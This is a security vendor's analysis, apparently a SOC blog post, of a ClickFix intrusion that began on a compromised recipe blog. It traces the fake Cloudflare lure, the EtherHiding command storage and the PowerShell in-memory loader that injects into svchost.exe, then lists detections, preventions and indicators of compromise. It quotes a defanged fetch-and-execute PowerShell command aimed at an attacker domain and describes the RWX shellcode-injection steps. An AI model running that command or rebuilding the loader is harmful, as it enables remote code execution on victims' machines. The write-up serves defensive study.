If you work in a SOC, it’s all too familiar at this point – a compromised endpoint alert comes into the alert queue, but the initial access vector isn’t immediately clear. As the analyst works backwards through the logs and timeline, a ClickFix attack begins to emerge. What initially looks like a user simply trying to get past a CAPTCHA turns out to be the moment they unknowingly invited an attacker in by executing an explicit command. It happens more often than you might think, especially with less tech-savvy users who are only trying to continue browsing as normal. After seeing these prompts countless times, users have become comfortable clicking through them and eager to get on with what they were doing.

ClickFix-style attacks accounted for more than 30% of incidents observed by the Blackpoint SOC between January and June 2026. ClickFix targets one of the most exploitable elements of any organisation: its users, and leveraging their familiarity with CAPTCHAs to turn an everyday browser interaction into the first step of an attack.

ihatemealprep[.]com is one domain we came across recently that ended in a user’s endpoint being compromised. It’s worth walking through, because it shows why the technique keeps working.

What happened?

Someone visited an meal-prep blog. The blog itself looks to have been compromised weeks earlier, with the attackers inserting a piece of JavaScript that runs when visitors load the page. The script replaces the original page with what looks like a routine Cloudflare check to prove they are human. The script first checks in with a traffic distribution system, dntds[.]shop, which fingerprints the visitor and decides whether to serve the lure or leave the page alone. (This is why the same link can look clean when an analyst goes back to check it later.)

Clicking the checkbox starts the attack. The user is shown a few simple instructions telling them which keys to press, which window to open, and what to paste before pressing enter. When the user follows these instructions, the command downloads a small script that runs malicious code in memory and uses a legitimate Windows process to continue the attack. The code then connected to the attacker’s infrastructure and waited for further instructions.

1 A normal blog, quietly compromised ihatemealprep[.]com: injected script, still a victim 2 A traffic gate decides who sees the lure dntds[.]shop: fingerprints the visitor first 3 The command is fetched from a smart contract read from a public blockchain (EtherHiding) 4 A fake “verify you are human” box clicking it silently writes that command to the clipboard 5 The user opens Terminal and pastes the only step in the whole chain that needs a human 6 A small loader script runs 1.58 KB of PowerShell: compiles memory-access stubs 7 It downloads a stager and runs it in memory 49.5 KB over HTTPS, runs inside powershell.exe itself the stager then pulls the real payload 8 The payload is injected into svchost.exe 305 KB over plain HTTP, never written to disk svchost beacons to 158[.]94[.]208[.]92:61120
Figure 1. The whole attack, end to end.

ClickFix in action

When visiting the website, the attacker script runs and serves the lure to the user as a fake Cloudflare page. It spins for a few seconds, and then resolves into to checkbox that the user must click in order to proceed.

Figure 2. The lure. Branding and layout are copied from the real Cloudflare challenge and the address bar still reads ihatemealprep[.]com.

The user will click the checkbox and the panel expands into instructions:

Lure instructions: press Win+X, choose Terminal, press Ctrl+V to paste the command, press Enter
Figure 3. Four steps the user must perform to “verify”.

There’s no copy instruction because the click on the checkbox before was the copy to the users clipboard. Browsers only permit a page to write to the clipboard during a genuine user gesture, so the fake checkbox exists to make one.

The script reads the command from a smart contract on a public blockchain (a technique called EtherHiding), and copies whatever comes back onto the clipboard. The blockchain usage here is just the storage/retrieval of the command. Here are the contents of the clipboard, pasted into the terminal:

Windows PowerShell showing the pasted iex iwr command pointing at cloudenterprise26[.]com
Figure 4. The command as pasted. The sid ties this execution back to the browser session that served the lure.
iex(iwr hxxps://cloudenterprise26[.]com/std/?sid=1786737385211-gnyo50x4 -UseBasicParsing)

The command downloads whatever content is hosted at that URL and immediately executes it as PowerShell in memory. No file is written to the disk.

Same sid (session ID) as the lure URL. The attacker can then correlate “this browser saw the page” with “this machine ran the command”.

While the lure sat on screen the page quietly polled the attacker’s server once a second, carrying that same sid. That’s how the attacker learns the victim actually pasted and ran it.

What the command actually did

Here’s the loader script it pulled down:

Source of the PowerShell loader script, unobfuscated
Figure 5. The loader script as delivered. No obfuscation and no encoding.

This command does five things:

  • Downloads the stager from the attacker-controlled server using Invoke-WebRequest.
    • Invoke-WebRequest against hxxps://cloudenterprise26[.]com/skjsadfi123uv12: 49.5 KB of shellcode (machine code written to run straight from memory, with no file on disk), served over HTTPS from the same host as the lure.
  • Prepares Windows APIs that allow PowerShell to work directly with memory and create a new thread.
    • Add-Type -TypeDefinition with [DllImport("kernel32.dll")] stubs for VirtualAlloc, CreateThread and WaitForSingleObject. This invokes csc.exe, the compiler activity is the P/Invoke wrapper, not the payload.
  • Allocates executable memory inside the PowerShell process.
    • VirtualAlloc with 0x1000 -bor 0x2000 and protection 0x40: commit and reserve, PAGE_EXECUTE_READWRITE.
  • Copies the downloaded shellcode into that memory and executes it by creating a new thread.
    • Marshal::Copy the shellcode in, then CreateThread to run it.
  • Waits for the stager to finish, then prints done.
    • WaitForSingleObject(…, 30000), then print done.

csc.exe is the C# compiler, and it ships with Windows as part of .NET. Every machine already has it, and it’s signed by Microsoft. PowerShell’s Add-Type hands it a block of C# source and asks it to build that into something runnable. The attacker sent the source code, and the victim’s machine built it. The C# here does nothing itself. It describes the Windows memory functions the script needs: their names, arguments, return values and which file holds them. The call can’t be made until Windows knows their exact shape. The actual shellcode arrives separately, as raw bytes, and never goes near the compiler.

WHY A COMPILER RUNS DURING THE ATTACK powershell.exe needs memory it can run code from, and cannot ask for it directly what Windows needs first a function cannot be called until its exact shape is spelled out: name, inputs, output, and its file it holds no logic of its own and it has to be written in C# kernel32.dll VirtualAlloc sets aside memory code can run in CreateThread starts that code running WaitForSingleObject waits for it to finish three calls, one description C# must be compiled csc.exe writes the C# to %TEMP%, compiles it to a .dll, then deletes all three VirtualAlloc hands back the address of that memory, and the shellcode is copied into it The compiler only ever sees the description. The shellcode arrives separately, as raw bytes.
Figure 6. Why a compiler appears in the middle of a PowerShell attack. Mechanics per Lee Holmes’ P/Invoke walkthrough; the temporary-file behaviour per Didier Stevens.

Where it ended up

The same powershell.exe also pulls the payload itself: hxxp://158[.]94[.]211[.]92/enterprise/student_s.bin, 305 KB, over plain HTTP on port 80 from the IP behind that domain. That URL appears nowhere in the loader script, so the request almost certainly comes from the stager running inside the process rather than from the script itself. The download is observed. The stager being the thing that made it is inference.

Here’s the process tree:

WindowsTerminal.exe launched by the user powershell.exe runs the pasted command, then the stager executes inside this process csc.exe compiles the memory-access stubs injects the payload svchost.exe a normal Windows service host medium integrity, no admin prompt 158[.]94[.]208[.]92:61120 command and control
Figure 7. The execution branch. A terminal as the parent of PowerShell is the ClickFix fingerprint. The stager never gets its own process: it runs inside powershell.exe, which is why the download it performs is attributed to PowerShell.

Two behaviours stand out: powershell.exe runs injected code in another process, and svchost.exe was injected by another process. The target is svchost.exe -k UnistackSvcGroup -s CDPUserSvc, running at medium integrity. No UAC prompt and no admin rights required. Once injected, that svchost.exe beaconed to 158[.]94[.]208[.]92:61120.

Nothing malicious was ever written to disk. The compiler wrote its own temporary files and deleted them when it finished, and what it built was the wrapper rather than the payload. That lived in RWX memory inside a signed Microsoft binary. File-based controls had nothing to catch. The observable events were all behavioural: a terminal spawning a compiler, a script writing into a service host, and that service host talking to an address Microsoft doesn’t own.

Reputation

We checked every host in the chain against public reputation data at the time. Most of the actor infrastructure was already flagged.

HOW MANY SECURITY VENDORS FLAGGED EACH NAME ihatemealprep[.]com the compromised blog, no vendor flags it 0 of 94 ONE ATTACKER SERVER (158[.]94[.]211[.]92) LOOKED UP THREE WAYS cloudenterprise26[.]com registered two days earlier 5 of 91 158[.]94[.]211[.]92 the bare IP behind both domains 17 of 91 senterprise2026[.]com registered about a month earlier 19 of 91 dntds[.]shop the traffic gate, a different host entirely 17 of 91
Figure 8. Three of these names are the same machine.

The site is a genuine and normal recipe blog, eight years old, inside the top million, categorized by Symantec as Technology/Internet.

Reputation isn’t everything though. Web scanners get fingerprinted by the traffic distribution system just like a real visitor does, so they can be served the clean page and never see the lure at all. A compromised site can keep a clean score that way for a long time.

What to hunt for

The process chain is the strongest single signal. The network behaviour is what still works even if the domains change, and the endpoint signals at the bottom are the earliest catch of all if you have the telemetry for them.

Execution chain

  • WindowsTerminal.exe as the parent of powershell.exe. Normal users rarely launch PowerShell this way; ClickFix does, because the lure tells them to.
  • powershell.exe spawning csc.exe. A script compiling C# at runtime is compile-after-delivery and is worth alerting on broadly.
  • A script interpreter writing into and creating a thread in another running process, particularly svchost.exe.

Network

  • svchost.exe making outbound connections to a non-Microsoft ASN on a non-standard port. Legitimate service hosts talk to Microsoft infrastructure on 80/443.
  • A browser process making a JSON-RPC call to a public blockchain RPC endpoint. Reasonable for a wallet or a dApp; odd for a recipe blog.
  • PowerShell downloading an executable-sized object from a bare IP over plain HTTP and, in this sample, also over HTTPS from a freshly registered domain.

Endpoint

  • Clipboard writes originating from a web page immediately followed by a terminal launch. If you have the telemetry, this is the earliest possible catch.
  • Search or Run-box history containing terminal or powershell seconds before a shell starts.

Preventions

Detection is covered above. These are the controls that stop it happening, or limit what it costs you if it already has.

Stop the paste

  • No legitimate website asks a user to open Terminal or the Run box and paste in a command. User training is needed here!
  • Where the business case allows, restrict Windows Terminal and the Run box for users who have no need of them.

PowerShell

  • Script Block Logging records the script as it executes. The loader here wasn’t obfuscated or encoded, so the whole thing would land in the log intact.
  • Constrained Language Mode blocks Add-Type and direct calls into Windows APIs, which is exactly the step this attack depends on. It needs careful scoping around administrators, but it breaks the chain at the point of compilation.
  • AMSI gives the endpoint product a chance to inspect the script contents before they run.

If a user has already run it

  • Grab a memory capture before you reboot or isolate. At the time of analysis the payload only existed in RAM, so a restart clears the infection and the evidence at the same time.
  • Isolate the host, reset the user’s credentials, and revoke browser sessions and tokens. They ran attacker-supplied code in their own user privilege context.
  • Check for persistence anyway: Run keys, scheduled tasks, services and startup items. We didn’t see any here, but that’s worth confirming rather than assuming.
  • Don’t stop at just blocking the domain. This was only one of the first steps in a chain that ended somewhere else entirely.

Indicators

TypeIndicatorRole
Domainihatemealprep[.]comcompromised host: victim
Domaindntds[.]shoptraffic distribution system, fingerprints the visitor and gates the phish lure (178[.]16[.]53[.]137)
Hostbsc-testnet-rpc.publicnode[.]comwhere the clipboard command is stored: held in a smart contract on-chain and read through this legitimate public RPC (EtherHiding)
Domaincloudenterprise26[.]comClickFix lure, loader script and stager (158[.]94[.]211[.]92)
Domainsenterprise2026[.]combrowser-stage C2: the lure page’s once-a-second callback, sent as JSONP so the browser permits the cross-domain request (158[.]94[.]211[.]92)
URLhxxps://cloudenterprise26[.]com/skjsadfi123uv12stager, 49.5 KB over HTTPS
URLhxxp://158[.]94[.]211[.]92/enterprise/student_s.binpayload, 305 KB over plain HTTP
IPv4:port158[.]94[.]208[.]92:61120post-exploitation C2 from injected svchost.exe
Netblock158[.]94[.]208[.]0/22 · AS202412Omegatech LTD, all actor hosts

The takeaway

On their own, all of these are normal. PowerShell comes with Windows, csc.exe is signed by Microsoft, svchost.exe is a standard Windows process, and the blockchain RPC is used by genuine wallets every day.

A page wrote to the clipboard, a terminal opened seconds later, PowerShell compiled C# at runtime, memory was allocated with execute permissions, code was written into another process, and that process started talking to the internet on a high port. Every one of those has an innocent explanation on its own. In that order, one after another, they don’t.